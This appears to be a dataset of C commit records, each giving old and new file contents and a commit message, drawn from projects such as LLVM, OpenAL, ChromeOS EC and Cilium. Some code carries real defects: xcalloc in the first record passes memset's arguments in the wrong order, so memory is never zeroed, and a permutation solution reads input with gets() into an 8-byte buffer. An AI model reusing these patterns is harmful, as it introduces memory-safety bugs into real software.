void *p = malloc(size);\n\n\tif (!p)\n\t\tout_of_memory();\n\treturn p;\n}\n\nvoid *\nxcalloc(size_t nmemb, size_t size)\n{\n\tregister size_t nbytes = nmemb * size;\n\tregister void *p = xmalloc(nbytes);\n\n\treturn memset(p, nbytes, 0);\n}\n\nchar *\nxstrdup(const char *s)\n{\n\tregister size_t len = strlen(s) + 1;\n\tregister char *p = xmalloc(len);\n\n\treturn memcpy(p, s, len);\n}\n\nvoid *\nxrealloc(void *buff, register size_t size)\n{\n\tregister void *p = realloc(buff, size);\n\n\tif (!p)\n\t\tout_of_memory();\n\treturn p;\n}\n","subject":"Copy end of string in xstrdup","message":"Copy end of string in xstrdup\n\nthe size of a string is length of the string + 1 due to the\nend of string.\n","lang":"C","license":"mit","repos":"8l\/scc,k0gaMSX\/kcc,k0gaMSX\/scc,8l\/scc,k0gaMSX\/scc,k0gaMSX\/kcc,k0gaMSX\/scc,8l\/scc"}
{"commit":"ef8d82cda10d56ecc64ec8342a6430e50a757d24","old_file":"tests\/break.c","new_file":"tests\/break.c","old_contents":"int main(void)\n{\n    int i = 0;\n\n    while (1) {\n        if (i == 42) break;\n        i += 1;\n    }\n\n    return i;\n}\n","new_contents":"int main(void)\n{\n    int i = 0;;;\n\n    while (1) {\n        if (i == 42) break;\n        i += 1;\n    }\n\n    return i;\n}\n","subject":"Test null statements. Just because.","message":"Test null statements. Just because.\n","lang":"C","license":"bsd-3-clause","repos":"gasman\/bonsai-c,gasman\/bonsai-c,gasman\/bonsai-c,beni55\/bonsai-c,beni55\/bonsai-c,beni55\/bonsai-c"}
{"commit":"168c70a9bbe302caf2c5921df959810c8dcea678","old_file":"core\/ClassClosure-inlines.h","new_file":"core\/ClassClosure-inlines.h","old_contents":"","new_contents":"\/* ***** BEGIN LICENSE BLOCK *****\n * Version: MPL 1.1\/GPL 2.0\/LGPL 2.1\n *\n * The contents of this file are subject to the Mozilla Public License Version\n * 1.1 (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n * http:\/\/www.mozilla.org\/MPL\/\n *\n * Software distributed under the License is distributed on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License\n * for the specific language governing rights and limitations under the\n * License.\n *\n * The Original Code is [Open Source Virtual Machine.].\n *\n * The Initial Developer of the Original Code is\n * Adobe System Incorporated.\n * Portions created by the Initial Developer are Copyright (C) 2004-2006\n * the Initial Developer. All Rights Reserved.\n *\n * Contributor(s):\n *   Adobe AS3 Team\n *\n * Alternatively, the contents of this file may be used under the terms of\n * either the GNU General Public License Version 2 or later (the \"GPL\"), or\n * the GNU Lesser General Public License Version 2.1 or later (the \"LGPL\"),\n * in which case the provisions of the GPL or the LGPL are applicable instead\n * of those above. If you wish to allow use of your version of this file only\n * under the terms of either the GPL or the LGPL, and not to allow others to\n * use your version of this file under the terms of the MPL, indicate your\n * decision by deleting the provisions above and replace them with the notice\n * and other provisions required by the GPL or the LGPL. If you do not delete\n * the provisions above, a recipient may use your version of this file under\n * the terms of any one of the MPL, the GPL or the LGPL.\n *\n * ***** END LICENSE BLOCK ***** *\/\n\n#ifndef __avmplus_ClassClosure_inlines__\n#define __avmplus_ClassClosure_inlines__\n\nnamespace avmplus\n{\n\t\nREALLY_INLINE ScriptObject* ClassClosure::prototypePtr()\n{\n\treturn prototype;\n}\n\nREALLY_INLINE VTable* ClassClosure::ivtable() const\n{\n\treturn vtable->ivtable;\n}\n\n\/\/ Called from C++ to alloc a new instance.  Generated code calls createInstance directly.\nREALLY_INLINE ScriptObject* ClassClosure::newInstance() \n{\n\tVTable* ivtable = this->ivtable();\n\treturn ivtable->createInstance(this, ivtable);\n}\n\t\n}\n\n#endif \/* __avmplus_ClassClosure_inlines__ *\/\n","subject":"Add a file that should have been added with changeset: 3564:36fb63a6d3b7","message":"Add a file that should have been added with changeset:   3564:36fb63a6d3b7\n","lang":"C","license":"mpl-2.0","repos":"pfgenyun\/tamarin-redux,pnkfelix\/tamarin-redux,pnkfelix\/tamarin-redux,pnkfelix\/tamarin-redux,pnkfelix\/tamarin-redux,pnkfelix\/tamarin-redux,pfgenyun\/tamarin-redux,pfgenyun\/tamarin-redux,pfgenyun\/tamarin-redux,pfgenyun\/tamarin-redux,pfgenyun\/tamarin-redux,pfgenyun\/tamarin-redux,pnkfelix\/tamarin-redux,pfgenyun\/tamarin-redux,pnkfelix\/tamarin-redux"}
{"commit":"2c37c9e86e3741421226a464eba36e56ba66823d","old_file":"Source\/GsCachedArea.h","new_file":"Source\/GsCachedArea.h","old_contents":"#pragma once\n\n#include <algorithm>\n#include \"Types.h\"\n\nclass CGsCachedArea\n{\npublic:\n\ttypedef uint64 DirtyPageHolder;\n\n\tenum\n\t{\n\t\tMAX_DIRTYPAGES_SECTIONS = 8,\n\t\tMAX_DIRTYPAGES = sizeof(DirtyPageHolder) * 8 * MAX_DIRTYPAGES_SECTIONS\n\t};\n\n\t\t\t\t\t\t\t\tCGsCachedArea();\n\n\tvoid\t\t\t\t\t\tSetArea(uint32 psm, uint32 bufPtr, uint32 bufWidth, uint32 height);\n\n\tstd::pair<uint32, uint32>\tGetPageRect() const;\n\tuint32\t\t\t\t\t\tGetPageCount() const;\n\tuint32\t\t\t\t\t\tGetSize() const;\n\n\tvoid\t\t\t\t\t\tInvalidate(uint32, uint32);\n\tbool\t\t\t\t\t\tIsPageDirty(uint32) const;\n\tvoid\t\t\t\t\t\tSetPageDirty(uint32);\n\tbool\t\t\t\t\t\tHasDirtyPages() const;\n\tvoid\t\t\t\t\t\tClearDirtyPages();\n\nprivate:\n\tuint32\t\t\t\t\t\tm_psm = 0;\n\tuint32\t\t\t\t\t\tm_bufPtr = 0;\n\tuint32\t\t\t\t\t\tm_bufWidth = 0;\n\tuint32\t\t\t\t\t\tm_height = 0;\n\n\tDirtyPageHolder\t\t\t\tm_dirtyPages[MAX_DIRTYPAGES_SECTIONS];\n};\n","new_contents":"#pragma once\n\n#include <utility>\n#include \"Types.h\"\n\nclass CGsCachedArea\n{\npublic:\n\ttypedef uint64 DirtyPageHolder;\n\n\tenum\n\t{\n\t\tMAX_DIRTYPAGES_SECTIONS = 8,\n\t\tMAX_DIRTYPAGES = sizeof(DirtyPageHolder) * 8 * MAX_DIRTYPAGES_SECTIONS\n\t};\n\n\t\t\t\t\t\t\t\tCGsCachedArea();\n\n\tvoid\t\t\t\t\t\tSetArea(uint32 psm, uint32 bufPtr, uint32 bufWidth, uint32 height);\n\n\tstd::pair<uint32, uint32>\tGetPageRect() const;\n\tuint32\t\t\t\t\t\tGetPageCount() const;\n\tuint32\t\t\t\t\t\tGetSize() const;\n\n\tvoid\t\t\t\t\t\tInvalidate(uint32, uint32);\n\tbool\t\t\t\t\t\tIsPageDirty(uint32) const;\n\tvoid\t\t\t\t\t\tSetPageDirty(uint32);\n\tbool\t\t\t\t\t\tHasDirtyPages() const;\n\tvoid\t\t\t\t\t\tClearDirtyPages();\n\nprivate:\n\tuint32\t\t\t\t\t\tm_psm = 0;\n\tuint32\t\t\t\t\t\tm_bufPtr = 0;\n\tuint32\t\t\t\t\t\tm_bufWidth = 0;\n\tuint32\t\t\t\t\t\tm_height = 0;\n\n\tDirtyPageHolder\t\t\t\tm_dirtyPages[MAX_DIRTYPAGES_SECTIONS];\n};\n","subject":"Use better header for std::pair.","message":"Use better header for std::pair.\n","lang":"C","license":"bsd-2-clause","repos":"dragon788\/Play-,Alloyed\/Play-,LinkofHyrule89\/Play-,Flav900\/Play-,LinkofHyrule89\/Play-,Alloyed\/Play-,AbandonedCart\/Play-,LinkofHyrule89\/Play-,Alloyed\/Play-,Flav900\/Play-,Alloyed\/Play-,AbandonedCart\/Play-,Flav900\/Play-,Alloyed\/Play-,dragon788\/Play-,LinkofHyrule89\/Play-,Flav900\/Play-,AbandonedCart\/Play-,AbandonedCart\/Play-,dragon788\/Play-,dragon788\/Play-,dragon788\/Play-,AbandonedCart\/Play-,LinkofHyrule89\/Play-,Flav900\/Play-"}
{"commit":"c30f78e6593470906a3773d21ab2f265f1f95ddc","old_file":"stingraykit\/metaprogramming\/TypeCompleteness.h","new_file":"stingraykit\/metaprogramming\/TypeCompleteness.h","old_contents":"#ifndef STINGRAYKIT_METAPROGRAMMING_TYPECOMPLETENESS_H\n#define STINGRAYKIT_METAPROGRAMMING_TYPECOMPLETENESS_H\n\n\/\/ Copyright (c) 2011 - 2017, GS Group, https:\/\/github.com\/GSGroup\n\/\/ Permission to use, copy, modify, and\/or distribute this software for any purpose with or without fee is hereby granted,\n\/\/ provided that the above copyright notice and this permission notice appear in all copies.\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS.\n\/\/ IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,\n\/\/ WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\n#include <stingraykit\/metaprogramming\/CompileTimeAssert.h>\n\nnamespace stingray\n{\n\ttemplate < typename T > struct StaticAssertCompleteType : CompileTimeAssert<sizeof(T)> { typedef T\tValueT; };\n}\n\n#endif\n","new_contents":"#ifndef STINGRAYKIT_METAPROGRAMMING_TYPECOMPLETENESS_H\n#define STINGRAYKIT_METAPROGRAMMING_TYPECOMPLETENESS_H\n\n\/\/ Copyright (c) 2011 - 2017, GS Group, https:\/\/github.com\/GSGroup\n\/\/ Permission to use, copy, modify, and\/or distribute this software for any purpose with or without fee is hereby granted,\n\/\/ provided that the above copyright notice and this permission notice appear in all copies.\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS.\n\/\/ IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,\n\/\/ WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\n#include <stingraykit\/metaprogramming\/CompileTimeAssert.h>\n\nnamespace stingray\n{\n\n\ttemplate < typename T > struct StaticAssertCompleteType : CompileTimeAssert<sizeof(T) == sizeof(T)> { typedef T\tValueT; };\n\n}\n\n#endif\n","subject":"Fix compile ui.shell, fckng non-standard behaviour","message":"Fix compile ui.shell, fckng non-standard behaviour\n\nRevert \"metaprogramming: Get rid of excess check in IsComplete\"\n\nThis reverts commit dc328c6712e9d23b3a58f7dd14dbdfa8e5a196db.\n","lang":"C","license":"isc","repos":"GSGroup\/stingraykit,GSGroup\/stingraykit"}
{"commit":"c521409d4cf6c8edf4900dda36f6ef9b953f8951","old_file":"include\/llvm\/Support\/Visibility.h","new_file":"include\/llvm\/Support\/Visibility.h","old_contents":"","new_contents":"\/\/===-- llvm\/Support\/Visibility.h - visibility(hidden) support --*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by Chris Lattner and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines the VISIBILITY_HIDDEN macro, used for marking classes with\n\/\/ the GCC-specific visibility(\"hidden\") attribute.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef VISIBILITY_HIDDEN\n\n#if __GNUC__ >= 4\n#define VISIBILITY_HIDDEN __attribute__ ((visibility(\"hidden\")))\n#else\n#define VISIBILITY_HIDDEN\n#endif\n\n#endif\n","subject":"Add support for hidden visibility","message":"Add support for hidden visibility\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@28968 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap"}
{"commit":"f3f3e2f854b8be30789538381d47e25f4a8590cc","old_file":"board\/dewatt\/board_fw_config.c","new_file":"board\/dewatt\/board_fw_config.c","old_contents":"\/* Copyright 2021 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"base_fw_config.h\"\n#include \"board_fw_config.h\"\n\nbool board_is_convertible(void)\n{\n\treturn 1;\n}\n\nbool board_has_kblight(void)\n{\n\treturn (get_fw_config_field(FW_CONFIG_KBLIGHT_OFFSET,\n\t\t\tFW_CONFIG_KBLIGHT_WIDTH) == FW_CONFIG_KBLIGHT_YES);\n}\n\nenum board_usb_c1_mux board_get_usb_c1_mux(void)\n{\n\treturn USB_C1_MUX_PS8818;\n};\n\nenum board_usb_a1_retimer board_get_usb_a1_retimer(void)\n{\n\treturn USB_A1_RETIMER_PS8811;\n};\n","new_contents":"\/* Copyright 2021 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"base_fw_config.h\"\n#include \"board_fw_config.h\"\n\nbool board_is_convertible(void)\n{\n\treturn 1;\n}\n\nbool board_has_kblight(void)\n{\n\treturn (get_fw_config_field(FW_CONFIG_KBLIGHT_OFFSET,\n\t\t\tFW_CONFIG_KBLIGHT_WIDTH) == FW_CONFIG_KBLIGHT_YES);\n}\n\nenum board_usb_c1_mux board_get_usb_c1_mux(void)\n{\n\treturn USB_C1_MUX_PS8818;\n};\n\nenum board_usb_a1_retimer board_get_usb_a1_retimer(void)\n{\n\treturn USB_A1_RETIMER_UNKNOWN;\n};\n","subject":"Set Type A1 retimer to unknown","message":"Dewatt: Set Type A1 retimer to unknown\n\nLet board_get_usb_a1_retimer always return\nUSB_A1_RETIMER_UNKNOWN for Dewatt doesn't\nhave type A port 1.\n\nBUG=none\nBRANCH=none\nTEST=EC console won't show\n     \"A1: PS8811 retimer not detected!\"\n\nSigned-off-by: Sue Chen <7d23cdcf270f71747b77aeecc793a9342f6d5c9e@quanta.corp-partner.google.com>\nChange-Id: I9a7c292ffc739e81fd1e553617f17abd25a67564\nReviewed-on: https:\/\/chromium-review.googlesource.com\/c\/chromiumos\/platform\/ec\/+\/3346760\nReviewed-by: Rob Barnes <3ced0940a2329ce70499686f01d3d60685ec66ed@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec"}
{"commit":"9ea53efcedf6eac81f8e57f7a5b4304a8dfd62cd","old_file":"bpf\/include\/bpf\/helpers_sock.h","new_file":"bpf\/include\/bpf\/helpers_sock.h","old_contents":"","new_contents":"\/* SPDX-License-Identifier: (GPL-2.0-only OR BSD-2-Clause) *\/\n\/* Copyright Authors of Cilium *\/\n\n#ifndef __BPF_HELPERS_SOCK__\n#define __BPF_HELPERS_SOCK__\n\n#include <linux\/bpf.h>\n\n#include \"helpers.h\"\n\n\/* Only used helpers in Cilium go below. *\/\n\n\/* Events for user space *\/\nstatic int BPF_FUNC_REMAP(sock_event_output, struct bpf_sock_addr *sock, void *map,\n\t\t\t  __u64 index, const void *data, __u32 size) =\n\t\t\t (void *)BPF_FUNC_perf_event_output;\n\n#endif \/* __BPF_HELPERS_SOCK__ *\/\n\n","subject":"Define helper to send perf events for socket context","message":"bpf: Define helper to send perf events for socket context\n\nThis is a preparatory commit that defines a\nhelper to send traces via perf event ring buffer with\nsocket context.\n\nSigned-off-by: Aditi Ghag <436242e0c0af36e461a395c937165372864a99f9@cilium.io>\n","lang":"C","license":"apache-2.0","repos":"cilium\/cilium,cilium\/cilium,cilium\/cilium,cilium\/cilium,cilium\/cilium"}
{"commit":"1e07dd84bb28426117039625a6c30b8ab638d455","old_file":"tests\/regression\/27-inv_invariants\/03-out-of-range-not-bot.c","new_file":"tests\/regression\/27-inv_invariants\/03-out-of-range-not-bot.c","old_contents":"","new_contents":"\/\/ PARAM: --enable ana.int.def_exc --disable ana.int.interval\n#include<assert.h>\n\/\/ Some unsigned long constant that is larger than 2^63-1\n#define SIZE_MAX\t18446744073709551615UL\n\nint foo(){\n    int top;\n    int a = 3;\n    if (top < SIZE_MAX \/ (8 * sizeof(int))){ \/\/ parts of the expression errorneously evaluate to bottom\n        assert(1);\n    }\n    return 0;\n}\n","subject":"Add test for large unsigned long constants in expressions","message":"Add test for large unsigned long constants in expressions\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"f0898d02f76cbd77206b6ef278b1da9721b7cd3d","old_file":"unix\/sigtables.h","new_file":"unix\/sigtables.h","old_contents":"#ifndef __POSIX_SIGNAL_SIGTABLES_H\n\ntypedef struct {\n    int signal;\n    char *name;\n} Signal;\n\ntypedef struct {\n    int len;\n    int items[];\n} SignalVector;\n\nextern const Signal signals[];\nextern const int nsigs;\n\nextern int max_signum;\n\n#define SIGOFFSET(SIG) ((SIG) - 1)\n\nvoid\nInitSignalTables (void);\n\nSignalVector*\nCreateSignalVector (void);\n\nvoid\nFreeSignalVector(\n    SignalVector *svPtr\n    );\n\nint\nGetSignalIdFromObj (\n    Tcl_Interp *interp,\n    Tcl_Obj *nameObj\n    );\n\n#define __POSIX_SIGNAL_SIGTABLES_H\n#endif \/* __POSIX_SIGNAL_SIGTABLES_H *\/\n\n\/* vim: set ts=8 sts=4 sw=4 sts=4 noet: *\/\n","new_contents":"#ifndef __POSIX_SIGNAL_SIGTABLES_H\n\ntypedef struct {\n    int signal;\n    char *name;\n} Signal;\n\ntypedef struct {\n    int len;\n    int items[];\n} SignalVector;\n\nMODULE_SCOPE const Signal signals[];\nMODULE_SCOPE const int nsigs;\n\nMODULE_SCOPE int max_signum;\n\n#define SIGOFFSET(SIG) ((SIG) - 1)\n\nvoid\nInitSignalTables (void);\n\nSignalVector*\nCreateSignalVector (void);\n\nvoid\nFreeSignalVector(\n    SignalVector *svPtr\n    );\n\nint\nGetSignalIdFromObj (\n    Tcl_Interp *interp,\n    Tcl_Obj *nameObj\n    );\n\n#define __POSIX_SIGNAL_SIGTABLES_H\n#endif \/* __POSIX_SIGNAL_SIGTABLES_H *\/\n\n\/* vim: set ts=8 sts=4 sw=4 sts=4 noet: *\/\n","subject":"Hide global data symbols related to signal tables","message":"Hide global data symbols related to signal tables\n\n'extern' decls for \"signals\", \"nsigs\" and \"max_signum\"\nchanged to 'MODULE_SCOPE' in unix\/sigtables.h\nto remove it from the symbol table of the generated\nshared object file.\n","lang":"C","license":"mit","repos":"kostix\/posix-signal"}
{"commit":"fde7e007a24aef7bbac5c2522e5eb7adf87f6e62","old_file":"origin_solution\/2.2.1750.c","new_file":"origin_solution\/2.2.1750.c","old_contents":"\/\/ Submission #3365787\n#include <stdio.h>\n#define MAXN 8\n#define TRUE  1\n#define FALSE 0\n\nint len;\nunsigned char used[MAXN] = { FALSE };\nchar s[MAXN], generated[MAXN];\nvoid dfs(int depth)\n{\n    if (depth == len) puts(generated);\n    else {\n        int i;\n        for (i = 0; i < len; ++i) if (!used[i]) {\n            used[i] = TRUE;\n            generated[depth] = s[i];\n            dfs(depth + 1);\n            used[i] = FALSE;\n        }\n    }\n}\n\nint main()\n{\n    gets(s);\n    len = strlen(s);\n    dfs(0);\n    return 0;\n}\n","new_contents":"\/\/ Submission #3365787\n#include <stdio.h>\n#include <string.h>\n#define MAXN 8\n#define TRUE  1\n#define FALSE 0\n\nint len;\nunsigned char used[MAXN] = { FALSE };\nchar s[MAXN], generated[MAXN];\nvoid dfs(int depth)\n{\n    if (depth == len) puts(generated);\n    else {\n        int i;\n        for (i = 0; i < len; ++i) if (!used[i]) {\n            used[i] = TRUE;\n            generated[depth] = s[i];\n            dfs(depth + 1);\n            used[i] = FALSE;\n        }\n    }\n}\n\nint main()\n{\n    gets(s);\n    len = strlen(s);\n    dfs(0);\n    return 0;\n}\n","subject":"Fix a warning that causes compile error in G++","message":"Fix a warning that causes compile error in G++","lang":"C","license":"mit","repos":"magetron\/NOIP-openjudge,magetron\/NOIP-openjudge,magetron\/NOIP-openjudge"}
{"commit":"f8f155e4a0234874f6828a3e5df7b80bfabd352c","old_file":"OpenAL32\/Include\/alThunk.h","new_file":"OpenAL32\/Include\/alThunk.h","old_contents":"#ifndef _AL_THUNK_H_\n#define _AL_THUNK_H_\n\n#include \"config.h\"\n\n#include \"AL\/al.h\"\n#include \"AL\/alc.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#if (SIZEOF_VOIDP > SIZEOF_UINT)\n\nvoid alThunkInit(void);\nvoid alThunkExit(void);\nALuint alThunkAddEntry(ALvoid * ptr);\nvoid alThunkRemoveEntry(ALuint index);\nALvoid *alThunkLookupEntry(ALuint index);\n\n#define ALTHUNK_INIT()          alThunkInit()\n#define ALTHUNK_EXIT()          alThunkExit()\n#define ALTHUNK_ADDENTRY(p)     alThunkAddEntry(p)\n#define ALTHUNK_REMOVEENTRY(i)  alThunkRemoveEntry(i)\n#define ALTHUNK_LOOKUPENTRY(i)  alThunkLookupEntry(i)\n\n#else\n\n#define ALTHUNK_INIT()\n#define ALTHUNK_EXIT()\n#define ALTHUNK_ADDENTRY(p)     ((ALuint)p)\n#define ALTHUNK_REMOVEENTRY(i)\n#define ALTHUNK_LOOKUPENTRY(i)  ((ALvoid*)(i))\n\n#endif \/\/ (SIZEOF_VOIDP > SIZEOF_INT)\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/\/_AL_THUNK_H_\n\n","new_contents":"#ifndef _AL_THUNK_H_\n#define _AL_THUNK_H_\n\n#include \"config.h\"\n\n#include \"AL\/al.h\"\n#include \"AL\/alc.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nvoid alThunkInit(void);\nvoid alThunkExit(void);\nALuint alThunkAddEntry(ALvoid * ptr);\nvoid alThunkRemoveEntry(ALuint index);\nALvoid *alThunkLookupEntry(ALuint index);\n\n#if (SIZEOF_VOIDP > SIZEOF_UINT)\n\n#define ALTHUNK_INIT()          alThunkInit()\n#define ALTHUNK_EXIT()          alThunkExit()\n#define ALTHUNK_ADDENTRY(p)     alThunkAddEntry(p)\n#define ALTHUNK_REMOVEENTRY(i)  alThunkRemoveEntry(i)\n#define ALTHUNK_LOOKUPENTRY(i)  alThunkLookupEntry(i)\n\n#else\n\n#define ALTHUNK_INIT()\n#define ALTHUNK_EXIT()\n#define ALTHUNK_ADDENTRY(p)     ((ALuint)p)\n#define ALTHUNK_REMOVEENTRY(i)\n#define ALTHUNK_LOOKUPENTRY(i)  ((ALvoid*)(i))\n\n#endif \/\/ (SIZEOF_VOIDP > SIZEOF_INT)\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/\/_AL_THUNK_H_\n\n","subject":"Move function declarations outside of the if-block","message":"Move function declarations outside of the if-block\n","lang":"C","license":"lgpl-2.1","repos":"irungentoo\/openal-soft-tox,mmozeiko\/OpenAL-Soft,jims\/openal-soft,BeamNG\/openal-soft,franklixuefei\/openal-soft,franklixuefei\/openal-soft,irungentoo\/openal-soft-tox,arkana-fts\/openal-soft,mmozeiko\/OpenAL-Soft,EddieRingle\/openal-soft,arkana-fts\/openal-soft,jims\/openal-soft,soundsrc\/openal-soft,Wemersive\/openal-soft,BeamNG\/openal-soft,rryan\/openal-soft,soundsrc\/openal-soft,dapetcu21\/openal-soft,cambridgehackers\/klaatu-openal-soft,cambridgehackers\/klaatu-openal-soft,cambridgehackers\/klaatu-openal-soft,Wemersive\/openal-soft,alexxvk\/openal-soft,rryan\/openal-soft,EddieRingle\/openal-soft,aaronmjacobs\/openal-soft,alexxvk\/openal-soft,AerialX\/openal-soft-android,aaronmjacobs\/openal-soft,zorbathut\/opengal32"}
{"commit":"20b4571885e837eb121a5e51529f0159fb41dd84","old_file":"include\/abort.h","new_file":"include\/abort.h","old_contents":"\/\/ abort.h\n\/\/ hdpirun\n\/\/\n\/\/ Utility header to abort the program on an unrecoverable error. Prints the message (printf format) and closes any open resources\n\/\/\n\/\/ Author: Robbie Duncan\n\/\/ Copyright: Copyright (c) 2016 Robbie Duncan\n\/\/ License: See LICENSE\n\/\/\n#import \"log.h\"\n#import <stdio.h>\n\n#ifndef ABORT_H\n#define ABORT_H\n#define __ABORT(message,...) __LOG(__LOG_CRITICAL,message,##__VA_ARGS__);if (__logFile!=stdout){fclose(__logFile);};exit(1);\n#endif\n","new_contents":"\/\/ abort.h\n\/\/ hdpirun\n\/\/\n\/\/ Utility header to abort the program on an unrecoverable error. Prints the message (printf format) and closes any open resources\n\/\/\n\/\/ Author: Robbie Duncan\n\/\/ Copyright: Copyright (c) 2016 Robbie Duncan\n\/\/ License: See LICENSE\n\/\/\n#import \"log.h\"\n#import <stdio.h>\n\n#ifndef ABORT_H\n#define ABORT_H\n#define ABORT(message,...) __LOG(__LOG_CRITICAL,message,##__VA_ARGS__);if (__logFile!=stdout){fclose(__logFile);};exit(1);\n#endif\n","subject":"Remove leading underscores as part of style clean up","message":"Remove leading underscores as part of style clean up\n","lang":"C","license":"mit","repos":"robbieduncan\/hdpirun,robbieduncan\/hdpirun"}
{"commit":"328541c6344f9c50002dd06fb54a49b942406c70","old_file":"dotfiles\/.vim\/template\/c\/base-main-bench.c","new_file":"dotfiles\/.vim\/template\/c\/base-main-bench.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <time.h>\n\nstatic long n = 10000; \n\nint\nmain(int argc, char* argv[]) {\n\tlong i;\n\tclock_t t;\n\n\tt = clock();\n\tfor (i = 0; i < n; ++i) {\n            {{_cursor_}}\n\t}\n\tprintf(\"%ld\\n\", clock() - t);\n\n\treturn 0;\n}\n","subject":"Add new template for bench on c","message":"Add new template for bench on c\n","lang":"C","license":"mit","repos":"kaneshin\/dotfiles,kaneshin\/dotfiles,kaneshin\/dotfiles,kaneshin\/dotfiles,kaneshin\/dotfiles"}
{"commit":"19b628dfc60eda4459b65e4b6b7a748932d28929","old_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","new_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","old_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2010 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.02.00-k11\"\n","new_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2010 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.02.00-k12\"\n","subject":"Update driver version to 5.02.00-k12","message":"[SCSI] qla4xxx: Update driver version to 5.02.00-k12\n\nSigned-off-by: Vikas Chaudhary <c251871a64d7d31888eace0406cb3d4c419d5f73@qlogic.com>\nSigned-off-by: James Bottomley <1acebbdca565c7b6b638bdc23b58b5610d1a56b8@Parallels.com>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
